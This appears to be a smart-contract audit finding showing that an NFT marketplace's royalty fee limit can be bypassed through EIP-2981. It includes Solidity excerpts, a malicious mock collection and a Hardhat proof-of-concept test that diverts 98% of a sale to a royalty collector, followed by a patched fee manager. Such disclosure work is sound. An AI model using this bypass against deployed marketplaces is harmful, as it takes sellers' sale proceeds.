Royalty Fee Limit of NFT Marketplace Bypass via EIP-2981

contract MockERC721WithRoyalty is ERC721, IERC2981 { address public immutable RECEIVER; uint256 public immutable ROYALTY_FEE; uint256 public currentTokenId; constructor( string memory _name, string memory _symbol, uint256 _royaltyFee ) ERC721(_name, _symbol) { ROYALTY_FEE = _royaltyFee; RECEIVER = msg.sender; } function mint(address to) external { _mint(to, currentTokenId); currentTokenId++; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, IERC165) returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } function royaltyInfo(uint256, uint256 salePrice) external view override returns (address receiver, uint256 royaltyAmount) { return (RECEIVER, (ROYALTY_FEE * salePrice) / 10000); } }

contract RoyaltyFeeManager is IRoyaltyFeeManager, Ownable { // https://eips.ethereum.org/EIPS/eip-2981 ... /** * @notice Calculate royalty fee and get recipient * @param collection address of the NFT contract * @param tokenId tokenId * @param amount amount to transfer * @return receiver * @return royaltyAmount */ function calculateRoyaltyFeeAndGetRecipient(address collection, uint256 tokenId, uint256 amount) external view override returns (address, uint256) { // 1. Check if there is a royalty info in the system (address receiver, uint256 royaltyAmount) = royaltyFeeRegistry.royaltyInfo(collection, amount); // 2. If the receiver is address(0), fee is null, check if it supports the ERC2981 interface if ((receiver == address(0)) || (royaltyAmount == 0)) { if (IERC165(collection).supportsInterface(INTERFACE_ID_ERC2981)) { (receiver, royaltyAmount) = IERC2981(collection).royaltyInfo(tokenId, amount); } } return (receiver, royaltyAmount); } }

contract RoyaltyFeeSetter is Ownable { ... /** * @notice Update royalty info for collection * @dev Only to be called if there msg.sender is the setter * @param collection address of the NFT contract * @param setter address that sets the receiver * @param receiver receiver for the royalty fee * @param fee fee (500 = 5%, 1,000 = 10%) */ function updateRoyaltyInfoForCollectionIfSetter( address collection, address setter, address receiver, uint256 fee ) external { (address currentSetter, , ) = IRoyaltyFeeRegistry(royaltyFeeRegistry).royaltyFeeInfoCollection(collection); require(msg.sender == currentSetter, "Setter: Not the setter"); IRoyaltyFeeRegistry(royaltyFeeRegistry).updateRoyaltyInfoForCollection(collection, setter, receiver, fee); } }

contract RoyaltyFeeRegistry is IRoyaltyFeeRegistry, Ownable { struct FeeInfo { address setter; address receiver; uint256 fee; } // Limit (if enforced for fee royalty in percentage (10,000 = 100%) uint256 public royaltyFeeLimit; ... constructor(uint256 _royaltyFeeLimit) { require(_royaltyFeeLimit <= 9500, "Owner: Royalty fee limit too high"); royaltyFeeLimit = _royaltyFeeLimit; } ... /** * @notice Update royalty info for collection * @param collection address of the NFT contract * @param setter address that sets the receiver * @param receiver receiver for the royalty fee * @param fee fee (500 = 5%, 1,000 = 10%) */ function updateRoyaltyInfoForCollection( address collection, address setter, address receiver, uint256 fee ) external override onlyOwner { require(fee <= royaltyFeeLimit, "Registry: Royalty fee too high"); _royaltyFeeInfoCollection[collection] = FeeInfo({setter: setter, receiver: receiver, fee: fee}); emit RoyaltyFeeUpdate(collection, setter, receiver, fee); } ... }

contract RoyaltyFeeSetter is Ownable { ... /** * @notice Update royalty info for collection if owner * @dev Can only be called by the NFT contract owner * @param collection address of the NFT contract * @param receiver receiver for the royalty fee * @param fee fee (500 = 5%, 1,000 = 10%) */ function updateRoyaltyInfoForCollectionIfOwner(address collection, address receiver, uint256 fee) external { require(msg.sender == Ownable(collection).owner(), "Setter: caller is not the NFT owner"); _updateRoyaltyInfoForCollectionIfOwner(collection, receiver, fee); } ... function _updateRoyaltyInfoForCollectionIfOwner(address collection, address receiver, uint256 fee) internal { require( ( IERC165(collection).supportsInterface(INTERFACE_ID_ERC721) || IERC165(collection).supportsInterface(INTERFACE_ID_ERC1155) ), "Setter: Not ERC721/ERC1155" ); IRoyaltyFeeRegistry(royaltyFeeRegistry).updateRoyaltyInfoForCollection(collection, receiver, fee); } }

describe("#1 - POC", async () => { it.only("ignoring max royalty limit",async function(){ const makerAskUser = accounts[1]; const takerBidUser = accounts[2]; const attacker = accounts[3]; expect(await weth.balanceOf(await royaltyCollector.getAddress())).to.equal(0); await weth.connect(takerBidUser).approve(looksRareExchange.address,constants.MaxUint256); const makerAskOrder: MakerOrderWithSignature = await createMakerOrder({ isOrderAsk: true, signer: makerAskUser.address, collection: mockERC721WithRoyalty.address, price: parseEther("3"), tokenId: constants.Zero, amount: constants.One, strategy: strategyStandardSaleForFixedPrice.address, currency: weth.address, nonce: constants.Zero, startTime: startTimeOrder, endTime: endTimeOrder, minPercentageToAsk: constants.Zero, params: defaultAbiCoder.encode([], []), signerUser: makerAskUser, verifyingContract: looksRareExchange.address, }); const takerBidOrder = createTakerOrder({ isOrderAsk: false, taker: takerBidUser.address, price: parseEther("3"), tokenId: constants.Zero, minPercentageToAsk: constants.Zero, params: defaultAbiCoder.encode([], []), }); const tx = await looksRareExchange .connect(takerBidUser) .matchAskWithTakerBidUsingETHAndWETH(takerBidOrder, makerAskOrder, { value: takerBidOrder.price, }); expect(await weth.balanceOf(await royaltyCollector.getAddress())).to.equal(BigNumber.from(parseEther("3")).mul(98).div(100)); }); });

contract LooksRareExchange is ILooksRareExchange, ReentrancyGuard, Ownable { ... /** * @notice Match ask with a taker bid order using ETH * @param takerBid taker bid order * @param makerAsk maker ask order */ function matchAskWithTakerBidUsingETHAndWETH( OrderTypes.TakerOrder calldata takerBid, OrderTypes.MakerOrder calldata makerAsk ) external payable override nonReentrant { require((makerAsk.isOrderAsk) && (!takerBid.isOrderAsk), "Order: Wrong sides"); require(makerAsk.currency == WETH, "Order: Currency must be WETH"); require(msg.sender == takerBid.taker, "Order: Taker must be the sender"); // If not enough ETH to cover the price, use WETH if (takerBid.price > msg.value) { IERC20(WETH).safeTransferFrom(msg.sender, address(this), (takerBid.price - msg.value)); } else { require(takerBid.price == msg.value, "Order: Msg.value too high"); } // Wrap ETH sent to this contract IWETH(WETH).deposit{value: msg.value}(); // Check the maker ask order bytes32 askHash = makerAsk.hash(); _validateOrder(makerAsk, askHash); // Retrieve execution parameters (bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerAsk.strategy) .canExecuteTakerBid(takerBid, makerAsk); require(isExecutionValid, "Strategy: Execution invalid"); // Update maker ask order status to true (prevents replay) _isUserOrderNonceExecutedOrCancelled[makerAsk.signer][makerAsk.nonce] = true; // Execution part 1/2 _transferFeesAndFundsWithWETH( makerAsk.strategy, makerAsk.collection, tokenId, makerAsk.signer, takerBid.price, makerAsk.minPercentageToAsk ); // Execution part 2/2 _transferNonFungibleToken(makerAsk.collection, makerAsk.signer, takerBid.taker, tokenId, amount); emit TakerBid( askHash, makerAsk.nonce, takerBid.taker, makerAsk.signer, makerAsk.strategy, makerAsk.currency, makerAsk.collection, tokenId, amount, takerBid.price ); } ... }

function _transferFeesAndFundsWithWETH( address strategy, address collection, uint256 tokenId, address to, uint256 amount, uint256 minPercentageToAsk ) internal { // Initialize the final amount that is transferred to seller uint256 finalSellerAmount = amount; // 1. Protocol fee { uint256 protocolFeeAmount = _calculateProtocolFee(strategy, amount); // Check if the protocol fee is different than 0 for this strategy if ((protocolFeeRecipient != address(0)) && (protocolFeeAmount != 0)) { IERC20(WETH).safeTransfer(protocolFeeRecipient, protocolFeeAmount); finalSellerAmount -= protocolFeeAmount; } } // 2. Royalty fee { (address royaltyFeeRecipient, uint256 royaltyFeeAmount) = royaltyFeeManager .calculateRoyaltyFeeAndGetRecipient(collection, tokenId, amount); // Check if there is a royalty fee and that it is different to 0 if ((royaltyFeeRecipient != address(0)) && (royaltyFeeAmount != 0)) { IERC20(WETH).safeTransfer(royaltyFeeRecipient, royaltyFeeAmount); finalSellerAmount -= royaltyFeeAmount; emit RoyaltyPayment(collection, tokenId, royaltyFeeRecipient, address(WETH), royaltyFeeAmount); } } require((finalSellerAmount * 10000) >= (minPercentageToAsk * amount), "Fees: Higher than expected"); // 3. Transfer final amount (post-fees) to seller { IERC20(WETH).safeTransfer(to, finalSellerAmount); }

contract RoyaltyFeeManagerV1B is IRoyaltyFeeManager { // Interface Id ERC2981 bytes4 public constant INTERFACE_ID_ERC2981 = 0x2a55205a; // Standard royalty fee uint256 public constant STANDARD_ROYALTY_FEE = 50; // Royalty fee registry IRoyaltyFeeRegistry public immutable royaltyFeeRegistry; /** * @notice Constructor * @param _royaltyFeeRegistry Royalty fee registry address */ constructor(address _royaltyFeeRegistry) { royaltyFeeRegistry = IRoyaltyFeeRegistry(_royaltyFeeRegistry); } /** * @notice Calculate royalty fee and get recipient * @param collection address of the NFT contract * @param tokenId tokenId * @param amount amount to transfer */ function calculateRoyaltyFeeAndGetRecipient( address collection, uint256 tokenId, uint256 amount ) external view override returns (address receiver, uint256 royaltyAmount) { // 1. Check if there is a royalty info in the system (receiver, ) = royaltyFeeRegistry.royaltyInfo(collection, amount); // 2. If the receiver is address(0), check if it supports the ERC2981 interface if (receiver == address(0)) { if (IERC2981(collection).supportsInterface(INTERFACE_ID_ERC2981)) { (bool status, bytes memory data) = collection.staticcall( abi.encodeWithSelector(IERC2981.royaltyInfo.selector, tokenId, amount) ); if (status) { (receiver, ) = abi.decode(data, (address, uint256)); } } } // A fixed royalty fee is applied if (receiver != address(0)) { royaltyAmount = (STANDARD_ROYALTY_FEE * amount) / 10000; } } }